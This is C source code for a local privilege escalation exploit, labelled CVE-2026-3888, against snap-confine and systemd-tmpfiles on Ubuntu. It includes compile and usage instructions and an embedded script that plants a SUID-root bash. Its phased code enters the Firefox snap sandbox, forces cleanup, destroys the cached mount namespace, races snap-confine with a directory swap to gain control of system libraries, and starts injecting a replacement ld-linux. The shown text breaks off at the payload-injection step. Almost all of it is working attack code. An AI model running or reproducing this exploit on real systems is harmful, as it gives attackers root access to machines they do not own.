1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| /*
* CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
*
* Compile this:
* gcc -O2 -static -o exploit exploit_suid.c
*
* Compile the payload separately:
* gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
*
* Usage:
* ./exploit <librootshell.so> [-d] [-s]
*
* -d Show snap-confine debug output and verbose system
* command output. Without this flag, only exploit
* status messages are shown.
* -s Skip the .snap cleanup wait. Requires root password.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/syscall.h>
#define SNAP_CONFINE "/usr/lib/snapd/snap-confine"
#define EXCHANGE_SRC ".snap/usr/lib/x86_64-linux-gnu.exchange"
#define EXCHANGE_DST ".snap/usr/lib/x86_64-linux-gnu"
#define REAL_LIBDIR "/snap/core22/current/usr/lib/x86_64-linux-gnu"
#define TRIGGER "dir:\"/tmp/.snap/usr/lib/x86_64-linux-gnu\""
#define SUID_BASH "/var/snap/firefox/common/bash"
#define ESCAPE_SCRIPT \
"#!/tmp/busybox sh\n" \
"/tmp/busybox cp /bin/bash /var/snap/firefox/common/bash\n" \
"/tmp/busybox chmod 04755 /var/snap/firefox/common/bash\n"
static char g_orig_cwd[4096];
static char g_librootshell[4096];
static int g_unit_seq = 0;
static int g_debug = 0;
static int copy_file(const char *src, const char *dst)
{
int fds = open(src, O_RDONLY);
if (fds < 0) return -1;
int fdd = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (fdd < 0) { close(fds); return -1; }
char buf[65536];
ssize_t n;
while ((n = read(fds, buf, sizeof(buf))) > 0)
write(fdd, buf, n);
close(fds);
close(fdd);
return 0;
}
static int setup_snap_and_exchange(void)
{
mkdir(".snap", 0755);
mkdir(".snap/usr", 0755);
mkdir(".snap/usr/lib", 0755);
mkdir(".snap/usr/local", 0755);
mkdir(".snap/snap", 0755);
mkdir(".snap/snap/firefox", 0755);
/* Mirror /snap/firefox/<rev>/data-dir structure */
DIR *d = opendir("/snap/firefox");
if (d) {
struct dirent *ent;
while ((ent = readdir(d)) != NULL) {
if (ent->d_name[0] != '.' &&
strcmp(ent->d_name, "current") != 0) {
char p[512];
snprintf(p, sizeof(p),
".snap/snap/firefox/%s", ent->d_name);
mkdir(p, 0755);
snprintf(p, sizeof(p),
".snap/snap/firefox/%s/data-dir", ent->d_name);
mkdir(p, 0755);
}
}
closedir(d);
}
/* Copy every entry from core22's /usr/lib/x86_64-linux-gnu */
mkdir(EXCHANGE_SRC, 0755);
d = opendir(REAL_LIBDIR);
if (!d) { perror("[!] opendir " REAL_LIBDIR); return -1; }
int count = 0;
struct dirent *ent;
while ((ent = readdir(d)) != NULL) {
if (ent->d_name[0] == '.' &&
(ent->d_name[1] == '\0' ||
(ent->d_name[1] == '.' && ent->d_name[2] == '\0')))
continue;
char src[4096], dst[4096];
snprintf(src, sizeof(src), "%s/%s", REAL_LIBDIR, ent->d_name);
snprintf(dst, sizeof(dst), "%s/%s", EXCHANGE_SRC, ent->d_name);
struct stat st;
if (lstat(src, &st) < 0) continue;
if (S_ISDIR(st.st_mode))
mkdir(dst, 0755);
else if (S_ISLNK(st.st_mode)) {
char link[4096];
ssize_t len = readlink(src, link, sizeof(link) - 1);
if (len > 0) { link[len] = '\0'; symlink(link, dst); }
} else
copy_file(src, dst);
count++;
}
closedir(d);
printf("[*] %d entries copied to exchange directory\n", count);
return 0;
}
static int create_stderr_socket(int *rd, int *wr)
{
int sv[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
perror("socketpair");
return -1;
}
int one = 1;
setsockopt(sv[0], SOL_SOCKET, SO_RCVBUF, &one, sizeof(one));
setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &one, sizeof(one));
setsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &one, sizeof(one));
setsockopt(sv[1], SOL_SOCKET, SO_SNDBUF, &one, sizeof(one));
*rd = sv[0];
*wr = sv[1];
return 0;
}
static pid_t run_and_race(void)
{
int rd, wr;
if (create_stderr_socket(&rd, &wr) < 0) return -1;
pid_t child = fork();
if (child < 0) { perror("fork"); return -1; }
if (child == 0) {
/* Child: redirect stderr to the throttled socket, exec snap-confine */
close(rd);
dup2(wr, STDERR_FILENO);
close(wr);
clearenv();
setenv("SNAPD_DEBUG", "1", 1);
setenv("SNAP_INSTANCE_NAME", "firefox", 1);
execl(SNAP_CONFINE, "snap-confine",
"--base", "core22",
"snap.firefox.hook.configure",
"/bin/sh", "-c",
"echo $$ > /tmp/race_pid.txt; "
"stat -c '%U:%G %a' "
"/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 "
"> /tmp/race_perms.txt 2>&1; "
"sleep 99994",
NULL);
_exit(1);
}
close(wr);
/* Ring buffer for trigger detection */
char ringbuf[4096];
int ringpos = 0;
memset(ringbuf, 0, sizeof(ringbuf));
int tlen = strlen(TRIGGER);
char byte;
ssize_t n;
int swapped = 0;
/* Open a sink for the debug stream. We must ALWAYS write each byte
* somewhere — the write() call provides timing backpressure that
* the race depends on. In debug mode → stdout. Otherwise → /dev/null. */
int sink_fd = g_debug ? STDOUT_FILENO
: open("/dev/null", O_WRONLY);
printf("[*] Monitoring snap-confine (child PID %d)...\n", child);
while ((n = read(rd, &byte, 1)) > 0) {
write(sink_fd, &byte, 1);
ringbuf[ringpos % sizeof(ringbuf)] = byte;
ringpos++;
if (!swapped && ringpos >= tlen) {
char check[512];
for (int i = 0; i < tlen && i < (int)sizeof(check) - 1; i++)
check[i] = ringbuf[(ringpos - tlen + i) % sizeof(ringbuf)];
check[tlen] = '\0';
if (strstr(check, TRIGGER)) {
printf("\n[!] TRIGGER — swapping directories...\n");
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1)
#endif
if (syscall(SYS_renameat2, AT_FDCWD, EXCHANGE_DST,
AT_FDCWD, EXCHANGE_SRC,
RENAME_EXCHANGE) != 0) {
/* Fallback: non-atomic two-step rename */
rename(EXCHANGE_DST,
".snap/usr/lib/x86_64-linux-gnu.orig");
rename(EXCHANGE_SRC, EXCHANGE_DST);
}
swapped = 1;
printf("[+] SWAP DONE — race won!\n");
/*
* Fork a drainer child that keeps reading the socket.
* This prevents SIGPIPE — snap-confine must stay alive
* to finish namespace setup and exec the inner shell.
* Without this, closing rd kills snap-confine mid-setup
* and race_pid.txt is never written.
*/
pid_t drainer = fork();
if (drainer == 0) {
char sink;
while (read(rd, &sink, 1) > 0)
;
_exit(0);
}
close(rd);
rd = -1;
/* Let snap-confine finish + inner shell write files */
sleep(5);
break;
}
}
}
if (rd >= 0) close(rd);
if (sink_fd != STDOUT_FILENO && sink_fd >= 0) close(sink_fd);
if (!swapped) {
printf("[-] Race lost — trigger string not detected.\n");
kill(child, SIGTERM);
waitpid(child, NULL, 0);
return -1;
}
/* Read poisoned-namespace shell PID from race_pid.txt */
pid_t poison_pid = -1;
for (int try = 0; try < 10; try++) {
FILE *f = fopen("race_pid.txt", "r");
if (f) {
char line[64];
if (fgets(line, sizeof(line), f))
poison_pid = (pid_t)atoi(line);
fclose(f);
if (poison_pid > 0) break;
}
usleep(500000);
}
/* Fallback: if race_pid.txt wasn't written but child is alive,
* try using the child PID directly. The child may still be in
* the poisoned namespace even if snap-confine hit errors. */
if (poison_pid <= 0) {
printf("[*] race_pid.txt not found, checking child PID %d...\n", child);
/* Check /proc/<child>/root as a proxy for namespace access */
char rootpath[256];
snprintf(rootpath, sizeof(rootpath), "/proc/%d/root", child);
struct stat st;
if (stat(rootpath, &st) == 0 && kill(child, 0) == 0) {
/* Try reading perms directly from child's namespace */
char permpath[256];
snprintf(permpath, sizeof(permpath),
"/proc/%d/root/tmp/race_perms.txt", child);
FILE *pf = fopen(permpath, "r");
if (pf) {
char perms[128];
if (fgets(perms, sizeof(perms), pf)) {
perms[strcspn(perms, "\n")] = '\0';
printf("[*] ld-linux in namespace: %s\n", perms);
}
fclose(pf);
}
/* Verify namespace is accessible */
char ldpath[256];
snprintf(ldpath, sizeof(ldpath),
"/proc/%d/root/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",
child);
if (stat(ldpath, &st) == 0 && st.st_uid != 0) {
printf("[+] Using child PID %d as poisoned namespace PID\n", child);
poison_pid = child;
} else {
printf("[-] Child alive but ld-linux not accessible or owned by root\n");
}
} else {
printf("[-] Child PID %d is no longer alive\n", child);
}
if (poison_pid <= 0) {
printf("[-] Could not read poison PID from race_pid.txt\n");
return -1;
}
} else {
/* Log permissions for debugging */
FILE *pf = fopen("race_perms.txt", "r");
if (pf) {
char perms[128];
if (fgets(perms, sizeof(perms), pf)) {
perms[strcspn(perms, "\n")] = '\0';
printf("[*] ld-linux in namespace: %s\n", perms);
}
fclose(pf);
}
}
printf("[+] Poisoned namespace PID: %d\n", poison_pid);
return poison_pid;
}
/* ===================================================================
* Phase 1 — Enter the Firefox sandbox
*
* Forks a child that execs snap-confine → /bin/sh.
* The shell cd's to /tmp, waits for .snap to be deleted, then sleeps.
* Returns the child PID (= the inner shell PID after exec chain).
* =================================================================*/
static pid_t phase1_enter_sandbox(void)
{
printf("\n[Phase 1] Entering Firefox sandbox...\n");
pid_t child = fork();
if (child < 0) { perror("fork"); return -1; }
if (child == 0) {
if (!g_debug) {
int nul = open("/dev/null", O_WRONLY);
if (nul >= 0) { dup2(nul, STDERR_FILENO); close(nul); }
}
clearenv();
setenv("SNAP_INSTANCE_NAME", "firefox", 1);
execl(SNAP_CONFINE, "snap-confine",
"--base", "core22",
"snap.firefox.hook.configure",
"/bin/sh", "-c",
"cd /tmp; "
"while test -d ./.snap; do touch ./; sleep 5; done; "
"sleep 86400",
NULL);
_exit(1);
}
sleep(3); /* let the inner shell start and cd to /tmp */
char probe[256];
snprintf(probe, sizeof(probe), "/proc/%d/cwd", child);
struct stat st;
if (stat(probe, &st) < 0) {
printf("[-] Cannot reach inner shell at %s\n", probe);
waitpid(child, NULL, WNOHANG);
return -1;
}
printf("[+] Inner shell PID: %d\n", child);
return child;
}
/* ===================================================================
* Phase 2 — Wait for systemd-tmpfiles to delete .snap
*
* Polls /proc/<inner>/root/tmp/.snap until it vanishes.
* If the inner shell dies (cleanup killed snap-private-tmp),
* re-enters the sandbox and returns the new PID.
* =================================================================*/
static pid_t phase2_wait_for_cleanup(pid_t inner, int skip)
{
printf("\n[Phase 2] Waiting for .snap deletion...\n");
char path[256];
snprintf(path, sizeof(path), "/proc/%d/root/tmp/.snap", inner);
struct stat st;
if (stat(path, &st) != 0) {
printf("[+] .snap already gone!\n");
return inner;
}
if (skip) {
printf("[*] --skip-wait: triggering cleanup...\n");
system("systemctl start systemd-tmpfiles-clean.service "
"2>/dev/null");
sleep(5);
if (stat(path, &st) != 0)
printf("[+] .snap deleted after manual trigger.\n");
else
printf("[!] .snap still present — continuing anyway.\n");
} else {
printf("[*] Polling (up to 30 days on stock Ubuntu).\n");
printf("[*] Hint: use -s to skip.\n");
while (stat(path, &st) == 0) {
if (kill(inner, 0) < 0) {
printf("[!] Inner shell died — re-entering...\n");
waitpid(inner, NULL, WNOHANG);
return phase1_enter_sandbox();
}
sleep(5);
}
printf("[+] .snap deleted.\n");
}
/* Re-enter if the shell was killed by cleanup */
if (kill(inner, 0) < 0) {
printf("[!] Inner shell died from cleanup. Re-entering...\n");
waitpid(inner, NULL, WNOHANG);
return phase1_enter_sandbox();
}
return inner;
}
/* ===================================================================
* Phase 3 — Destroy the cached mount namespace
*
* Runs snap-confine with an invalid base ("snapd") which tears down
* the cached namespace for firefox. Next invocation rebuilds from
* scratch — hitting the vulnerable mimic codepath.
* =================================================================*/
static int phase3_destroy_namespace(void)
{
printf("\n[Phase 3] Destroying cached mount namespace...\n");
char cmd[1024];
snprintf(cmd, sizeof(cmd),
"systemd-run --user --scope --quiet "
"--unit=snap.cve3888.%d.%d -- "
"env -i SNAP_INSTANCE_NAME=firefox "
"%s --base snapd "
"snap.firefox.hook.configure /nonexistent "
"2>&1; true",
getpid(), g_unit_seq++, SNAP_CONFINE);
system(cmd);
printf("[+] Namespace destroyed.\n");
return 0;
}
/* ===================================================================
* Phase 4 — Win the race
*
* cd's into the sandbox's /tmp via /proc/<inner>/cwd, builds the
* .snap and .exchange trees, then runs the race against snap-confine.
* Returns the PID of the shell inside the poisoned namespace.
* =================================================================*/
static pid_t phase4_win_race(pid_t inner)
{
printf("\n[Phase 4] Setting up and running the race...\n");
char cwd[256];
snprintf(cwd, sizeof(cwd), "/proc/%d/cwd", inner);
if (chdir(cwd) < 0) {
perror("[!] chdir to sandbox /tmp");
return -1;
}
printf("[*] Working directory: %s\n", cwd);
printf("[*] Building .snap and .exchange...\n");
if (setup_snap_and_exchange() < 0) return -1;
printf("[*] Starting race...\n");
return run_and_race();
}
/* ===================================================================
* Phase 5 — Inject the payload into the poisoned namespace
*
* Accesses /proc/<poison>/root to reach the namespace where all
* libraries in /usr/lib/x86_64-linux-gnu are attacker-owned.
* Plants:
* /tmp/busybox — static shell binary
* /tmp/sh — auto-escape script (shebang → busybox)
* ld-linux-x86-64.so.2 — overwritten with librootshell.so
* =================================================================*/
static int phase5_inject_payload(pid_t poison)
|